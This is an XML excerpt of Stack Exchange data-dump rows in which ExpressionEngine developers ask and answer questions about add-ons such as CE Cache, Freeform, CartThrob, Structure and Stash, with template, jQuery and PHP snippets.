  <row Id="30400" PostTypeId="1" CreationDate="2015-03-05T21:14:10.653" Score="0" ViewCount="39" Body="&lt;p&gt;Three questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I see a lot of unanswered questions in here on CE Cache - is the add on still being supported / used? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I want to use CE-Cache for pages that look at incoming variables (like segment, and embed) and cache the resulting version of the page based on those.  For example:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;embed variable - area = 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to cache a version of the resulting template as &quot;1&quot;, &quot;2&quot;, etc. to match the incoming value of area.  So a page that is normally dynamic for each person's area, would pull up the right cached version of the page.  Can CE Cache do that?  &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;I to use PHP on output in some of my templates - can CE Cache work with that? Or will that not get parsed? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3703" LastActivityDate="2015-04-09T11:52:38.907" Title="CE Cache pre - sales questions" Tags="|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30401" PostTypeId="1" AcceptedAnswerId="30417" CreationDate="2015-03-05T22:00:59.567" Score="0" ViewCount="62" Body="&lt;p&gt;EE 2.9.2 &amp;amp; Zoo Visitor 1.3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 20 fields, 10 of which are required for users to fill out when registering. I want the users to be able to then complete the other 10 when they have been registered. The &lt;code&gt;{exp:zoo_visitor:update_form}&lt;/code&gt; tag does not seem to work for these fields, I assume because they do not have any data stored in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have to use another &lt;code&gt;{exp:zoo_visitor:registration_form}&lt;/code&gt;, although submitting that complains that the original 10 fields filled out during registration has not been completed. What's the best way to approach this? Use the current setup and have the required fields hidden?&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2015-03-06T22:48:21.667" Title="Zoo Visitor - Update profile with new fields" Tags="|members|zoo-visitor|safecracker-registration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30402" PostTypeId="1" CreationDate="2015-03-05T22:15:01.073" Score="1" ViewCount="147" Body="&lt;p&gt;I am using Solspace Pro form on my website and I have no clue on how to change the subject of the email. I will be glad to know if there is a way to pull the title of a detailed page of a listing into the email subject.&#xA;When a form on a detailed page is filled, I want to pull the title of that detailed page into the subject of the email when notification is sent.&lt;/p&gt;&#xA;" OwnerUserId="6110" LastActivityDate="2015-04-06T15:02:04.807" Title="Solspace Freeform Pro - How to pull URL title into the email subject" Tags="|channel-entries|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30403" PostTypeId="1" AcceptedAnswerId="30430" CreationDate="2015-03-06T00:51:47.587" Score="1" ViewCount="98" Body="&lt;p&gt;Simple question here hopefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an album page that displays a track listing. With the option for up to 4 discs being displayed as show below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DISC 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Track listing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DISC 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Track listing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DISC 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Track listing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DISC 4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Track listing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is my EE code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;disco&quot; status=&quot;open&quot; orderby=&quot;disco_release_date&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;disc-tracks&quot;&amp;gt;&#xA;&#xA;    {disco_disc2_tracks}&#xA;&#xA;    &amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;{disco_disc2_tracks:title}&amp;lt;/h4&amp;gt;&#xA;    {!--IF STATEMENT SHOWS THE DUET PARTNER AND HIDES THE (WITH) IF THERE ISN'T ONE--}&#xA;    &amp;lt;p&amp;gt;{if disco_disc2_tracks:track_duet_partner}&amp;lt;em&amp;gt;(with {disco_disc2_tracks:track_duet_partner})&amp;lt;/em&amp;gt;{/if}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;span class=&quot;songwrittenby&quot;&amp;gt;Written By: {disco_disc2_tracks:track_writtenby}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;{/disco_disc2_tracks}&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;/ol&amp;gt;&amp;lt;!-- END DISCOGRAPY DISC 2 TRACKS --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 4 of those on the page. 1 for every disc  I want to wrap everyone in an IF statement so that if no tracks are selected on the channel entries page for a specific disc aka that disc has 0 tracks selected - that it doesn't show the header &quot;Disc 2&quot; &quot;Disc 3&quot; &quot;Disc 4&quot; and have empty titles on my page. I have an IF statement for the duet partner already in my code above and it works great, but I can't seem to write one that can hide the whole header and div containing the Disc # and tracks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the tracks are a relationship filed and I'm pulling them from another channel. See image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jhMOW.jpg&quot; alt=&quot;How I select tracks for each disc in EE&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2651" LastActivityDate="2015-03-08T19:27:50.317" Title="Simple Conditional Help" Tags="|channel-entries|relationships|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30404" PostTypeId="1" CreationDate="2015-03-06T01:27:11.053" Score="0" ViewCount="54" Body="&lt;p&gt;I need to be able to limit how many of a certain product can be added to the cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could use &lt;code&gt;{cart_items_info}&lt;/code&gt; with an &lt;code&gt;{entry_id}&lt;/code&gt; parameter to limit to the product I'm targeting and then use a conditional based on &lt;code&gt;{total_items}&lt;/code&gt;, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info entry_id=&quot;XXX&quot;}&#xA;{total_items} {!-- returns the total of other items in the cart too, not just the entry_id specified --}&#xA;{if total_items &amp;lt;=5} … {/if}&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the tag seems to return the whole cart total items regardless of whether I use the &lt;code&gt;entry_id&lt;/code&gt; param or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug with &lt;code&gt;cart_items_info&lt;/code&gt; or is there another way I should be going about this?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2016-06-15T04:49:14.000" Title="Remove add_to_cart_form button after a fixed quantity of a certain product added to cart" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30406" PostTypeId="2" ParentId="30385" CreationDate="2015-03-06T06:57:26.330" Score="0" Body="&lt;p&gt;If you see your Matrix data in your entry, that means the data is stored somewhere on your database (or else the Matrix field would be empty). Have you tried using &lt;code&gt;{if images:total_rows &amp;gt; 0}&lt;/code&gt; instead of a true/false condition (i.e. &lt;code&gt;{if '{images:total_rows}'}&lt;/code&gt;)? Matrix data is likely stored in exp_matrix_XXX tables (where Matrix data gets stored) but not in exp_channel_data (where &lt;em&gt;searchable&lt;/em&gt; Matrix data gets stored), which &lt;code&gt;{if '{images:total_rows}'}&lt;/code&gt; might be relying on.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-06T06:57:26.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30407" PostTypeId="2" ParentId="30403" CreationDate="2015-03-06T08:41:22.187" Score="0" Body="&lt;p&gt;Maybe this works, wrap your code around this. It then should say if my_field &quot;disco_disc2_tracks&quot; is NOT empty then show stuf.. If empty do not  show stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if disco_disc2_tracks != &quot;&quot;}....{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if disco_disc2_tracks != &quot;&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{disco_disc2_tracks}&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;h4&amp;gt;{disco_disc2_tracks:title}&amp;lt;/h4&amp;gt;&#xA;{!--IF STATEMENT SHOWS THE DUET PARTNER AND HIDES THE (WITH) IF THERE ISN'T ONE--}&#xA;&amp;lt;p&amp;gt;{if disco_disc2_tracks:track_duet_partner}&amp;lt;em&amp;gt;(with {disco_disc2_tracks:track_duet_partner})&amp;lt;/em&amp;gt;{/if}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;span class=&quot;songwrittenby&quot;&amp;gt;Written By: {disco_disc2_tracks:track_writtenby}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/disco_disc2_tracks}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2015-03-06T08:41:22.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30409" PostTypeId="1" AcceptedAnswerId="30412" CreationDate="2015-03-06T14:19:07.423" Score="0" ViewCount="80" Body="&lt;p&gt;How can I access channel fields in {exp:structure:siblings}? I've tried the following code and title and url get output fine but {page_listing_icon} doesn't get parsed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:siblings}&#xA;   {prev}&#xA;      &amp;lt;a href=&quot;{url}&quot; title=&quot;{title}&quot;&amp;gt;{page_listing_icon} {title}&amp;lt;/a&amp;gt;&#xA;   {/prev}&#xA;   {next}&#xA;      &amp;lt;a href=&quot;{url}&quot; title=&quot;{title}&quot;&amp;gt;{page_listing_icon} {title}&amp;lt;/a&amp;gt;&#xA;   {/next}&#xA;{/exp:structure:siblings}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-03-06T15:21:36.597" Title="How to get channel fields in {exp:structure:siblings}" Tags="|structure|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30410" PostTypeId="2" ParentId="30394" CreationDate="2015-03-06T14:25:38.610" Score="2" Body="&lt;p&gt;I figured it out...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT parent_id as grandparent_id FROM exp_structure WHERE entry_id = {structure:parent:entry_id}&quot;}&#xA; {grandparent_id}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-03-06T14:25:38.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30412" PostTypeId="2" ParentId="30409" CreationDate="2015-03-06T15:21:36.597" Score="1" Body="&lt;p&gt;I'd use &lt;a href=&quot;https://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to help with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;    {exp:structure:siblings}&#xA;        {stash:prev_entry_id}{prev}{entry_id}{/prev}{/stash:prev_entry_id}&#xA;        {stash:next_entry_id}{next}{entry_id}{/next}{/stash:next_entry_id}&#xA;    {/exp:structure:siblings}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:parse}&#xA;    {exp:channel:entries&#xA;        channel=&quot;pages&quot;&#xA;        fixed_order=&quot;{stash:prev_entry_id}|{stash:next_entry_id}&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;        &amp;lt;a href=&quot;{page_url}&quot; title=&quot;{title}&quot;&amp;gt;{page_listing_icon} {title}&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-03-06T15:21:36.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30413" PostTypeId="2" ParentId="30402" CreationDate="2015-03-06T16:48:09.770" Score="1" Body="&lt;p&gt;The Subject is set under the Notifications tab. There you will see a list of your notifications templates. Choose the template you are using for the form in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For grabbing the page title, and I'm assuming the form is wrapped in a channel entries tag pair, create a hidden form field  my_subject or something, and assign it a value of {url_title}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your notification template put {my_subject} in as the value along with whatever you'd like in for the value of the Subject field.&lt;/p&gt;&#xA;" OwnerUserId="315" LastEditorUserId="315" LastEditDate="2015-03-07T14:28:10.183" LastActivityDate="2015-03-07T14:28:10.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30415" PostTypeId="1" AcceptedAnswerId="30441" CreationDate="2015-03-06T18:23:47.860" Score="1" ViewCount="56" Body="&lt;p&gt;The search results feature allows you to use {auto_path} to take you to the correct template_group/template, however, I need a similar solution for regular garden variety channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a news feed section on the home page that displays the 3-5 most recent entries from five different channels. The code is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;Recent News Posts&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul class=&quot;inline-list&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;community|government|education|business|history&quot; limit=&quot;3&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/news/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently I have a generic &quot;news&quot; placeholder in the path, but what I need is to direct each entry to its appropriate section. Outside the search results {auto_path} I have not been able to find anything. I am open to suggestions.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-03-09T12:50:21.300" Title="How do I link entry to the correct section when pulling from multiple channels?" Tags="|channel-entries|path|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30416" PostTypeId="2" ParentId="30415" CreationDate="2015-03-06T18:32:57.410" Score="1" Body="&lt;p&gt;One way is to use a conditional based on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#channel-short-name&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;channel_short_name&lt;/code&gt;&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;community|government|education|business|history&quot; limit=&quot;3&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        {if channel_short_name == &quot;news&quot;}&#xA;            &amp;lt;a href=&quot;/news/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {if:elseif channel_short_name == &quot;community&quot;}&#xA;            &amp;lt;a href=&quot;/community/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {if:elseif channel_short_name == &quot;government&quot;}&#xA;            &amp;lt;a href=&quot;/government/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the sake of the example I just did three of your channels, but you'd want to add a clause in the conditional for each one.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-03-06T18:40:54.570" LastActivityDate="2015-03-06T18:40:54.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30417" PostTypeId="2" ParentId="30401" CreationDate="2015-03-06T22:48:21.667" Score="0" Body="&lt;p&gt;Quickly looking at it, I'm finding the following issue for those fields that are not saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;{candidate_skype}&quot; id=&quot;{candidate_skype}&quot; value=&quot;{if candidate_skype}{candidate_skype}{/if}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is the name and id wrapped in {}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;candidate_skype&quot; id=&quot;candidate_skype&quot; value=&quot;{if candidate_skype}{candidate_skype}{/if}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-03-06T22:48:21.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30418" PostTypeId="1" CreationDate="2015-03-07T04:56:02.810" Score="1" ViewCount="331" Body="&lt;p&gt;I have an embed template to which I'm passing variables from some custom channel fields. Everything works as expected until there are quotes (&quot;) inside the variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have the variable {article_content} inside the &quot;section/subsection&quot; template containing html markup with a few paragraphs and some links. I pass the variable to the embeded template using:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/.article_template&quot; emb_article_content=&quot;{article_content}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the embeded template I use: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed:emb_article_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I render the page, everything is ok until the engine reach the first quotes (&quot;) in a link, then nothing is redered. I get something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;This paragraph is alright because doesn't contain links or quotes&amp;lt;/p&amp;gt;   &#xA;&amp;lt;p&amp;gt;This paragraph contains a link &amp;lt;a href= &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried to find ways to escape the quotes but I just can't figure out how to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas to solve this issue would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6114" LastActivityDate="2019-03-11T09:02:55.627" Title="Escape characters when passing variables to an embeded template" Tags="|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30419" PostTypeId="2" ParentId="30418" CreationDate="2015-03-07T05:49:42.870" Score="0" Body="&lt;p&gt;I managed to solve this. I used htmlspecialchars before passing the variable and in the embedded template I used htmlspecialchars_decode before using the variable. In case anyone is interested, it looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the template in which I embeded the template I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/.article_template&quot; emb_article_content=&quot;&amp;lt;?php echo htmlspecialchars('{article_content}');  ?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the embedded template I decoded the variable like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo htmlspecialchars_decode('{embed:emb_article_content}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are more efficient ways to do this but this works for now. I'd still like to hear any other solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those who want to use this solution and are beginners like me, don't forget to enable PHP in both templates with PHP parsing stage set to &quot;Output&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This whole thing can be solved by just using simple quotes (') instead of double ones (&quot;) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='embeds/.article_template' emb_article_content='{article_content}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes that there are no simple quotes inside your variable, otherwise there will be conflicts as well. If you are sure there won't be any conflicts you can use this solution, but to be safe, I think I will stick to encoding and decoding any variable with possible conflicts.&lt;/p&gt;&#xA;" OwnerUserId="6114" LastEditorUserId="6114" LastEditDate="2015-03-07T05:59:04.947" LastActivityDate="2015-03-07T05:59:04.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30420" PostTypeId="2" ParentId="30259" CreationDate="2015-03-07T11:39:13.400" Score="0" Body="&lt;p&gt;All sorted and integrated nicely, just used the default cartthob settings with some tweaks&lt;/p&gt;&#xA;" OwnerUserId="1005" LastActivityDate="2015-03-07T11:39:13.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30422" PostTypeId="1" CreationDate="2015-03-07T15:33:06.613" Score="1" ViewCount="75" Body="&lt;p&gt;I have a channel that is used for the creation of a glossary. Rather than creating numerous individual entries, I have chosen to build the glossary as a Grid field (called 'glossary'), with the channel itself set as a Single Entry channel (using the &lt;a href=&quot;https://devot-ee.com/add-ons/single-entry&quot; rel=&quot;nofollow&quot;&gt;Single Entry add-on&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field (and its columns) are searchable, and matches are being found by my Simple Search form correctly. However, displaying the search results is problematic. The Search results are seemingly unable to determine which row of the Grid field the match occurs in, and the result simply displays the first row. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that what I need is for the {exp:search:search_results} tag to return the {glossary:field_row_count} variable for the search match, so that I can make use of it in my results code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this? Or an alternative solution/workaround? (I'd prefer to stick with the native EE Search features if possible, rather than involve yet another third party add-on). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Using EE v2.9.2]&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2016-05-25T00:56:09.170" Title="Getting meaningful search results from a Grid field" Tags="|search|grid|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30423" PostTypeId="1" CreationDate="2015-03-07T23:01:08.663" Score="0" ViewCount="77" Body="&lt;p&gt;I have a Freeform Pro form that has a few required fields and uses a submit button to check server response time. The form works fine, stores the data in the Freeform database when submitted, etc. But when the required fields are not provided, there is no notification provided that the fields are invalid. The form is not submitted when these fields are invalid, but the user is still redirected to my confirmation page staying the form was submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this has something to do with my submit button. When I remove the javascript from the submit button, it works as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;contact&quot; form:class=&quot;form&quot; required=&quot;first_name|last_name|email|phone|user_message&quot;}&#xA;                &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;div class=&quot;header&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;Contact us for an initial consultation&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;p&amp;gt;If you would like a member of our staff to contact you for a free initial consultation on your case, please complete this form, or call us toll-free at &amp;lt;a href=&quot;tel:8777048050&quot; class=&quot;tel-link&quot;&amp;gt;877-704-8050.&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;input-area&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col input-holder&quot;&amp;gt;&#xA;                                {freeform:field:first_name attr:placeholder=&quot;First Name&quot;}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col input-holder&quot;&amp;gt;&#xA;                                {freeform:field:last_name attr:placeholder=&quot;Last Name&quot;}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col input-holder&quot;&amp;gt;&#xA;                                {freeform:field:email attr:placeholder=&quot;Email&quot;}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col input-holder&quot;&amp;gt;&#xA;                                {freeform:field:phone attr:placeholder=&quot;Phone&quot;}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            {freeform:field:user_message attr:placeholder=&quot;Your message...&quot;}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {freeform:field:page_url}&#xA;                        &amp;lt;button type=&quot;submit&quot; class=&quot;progress-button&quot; data-style=&quot;shrink&quot; data-horizontal&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;footer&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;This web site is designed for general information only. The information presented at this site should not be construed to be formal legal advice nor the formation of a lawyer/client relationship.&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the script that runs the submit button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// progress button init&#xA;function initProgressBtn(){&#xA;    jQuery('.form').each(function() {&#xA;        var form = jQuery(this);&#xA;        var sendBtn = form.find('.progress-button');&#xA;        var ajaxBusy = false;&#xA;&#xA;        new ProgressButton( sendBtn.get(0), {&#xA;            callback : function( instance ) {&#xA;                var progress = 0,&#xA;                interval = setInterval( function() {&#xA;                    progress = Math.min( progress + Math.random() * 0.1, 1 );&#xA;                    instance._setProgress( progress );&#xA;&#xA;                    if( progress === 1 ) {&#xA;                        instance._stop(1);&#xA;                        clearInterval( interval );&#xA;                    }&#xA;                }, 200 );&#xA;                form.trigger('startProgress');&#xA;            }&#xA;        });&#xA;&#xA;        function onSendForm(e) {&#xA;            e.preventDefault();&#xA;            if(!ajaxBusy) {&#xA;                ajaxBusy = true;&#xA;&#xA;                jQuery.ajax({&#xA;                    url: form.attr('action'),&#xA;                    type: form.attr('method'),&#xA;                    data: form.serialize(),&#xA;                    dataType: 'text',&#xA;                    success: function() {&#xA;                    window.location.href = &quot;/request-received/&quot;;&#xA;                    }&#xA;                });&#xA;            }&#xA;        }&#xA;&#xA;        form.on('submit startProgress', onSendForm);&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there are way to use the javascript for submission but still utilize freeform/ee's form validation? Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-03-08T21:03:29.967" Title="Not getting notification of required fields" Tags="|solspace-freeform|forms|ajax|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30426" PostTypeId="1" AcceptedAnswerId="30442" CreationDate="2015-03-08T11:58:01.497" Score="0" ViewCount="60" Body="&lt;p&gt;I need to make channel files locked url to open pdf's in the browser rather than prompting users to download. I can't see this as an option, is it possible?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2015-03-09T15:57:39.320" Title="Force devdemon channel files to open pdf's in a browser" Tags="|devdemon|channel-files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
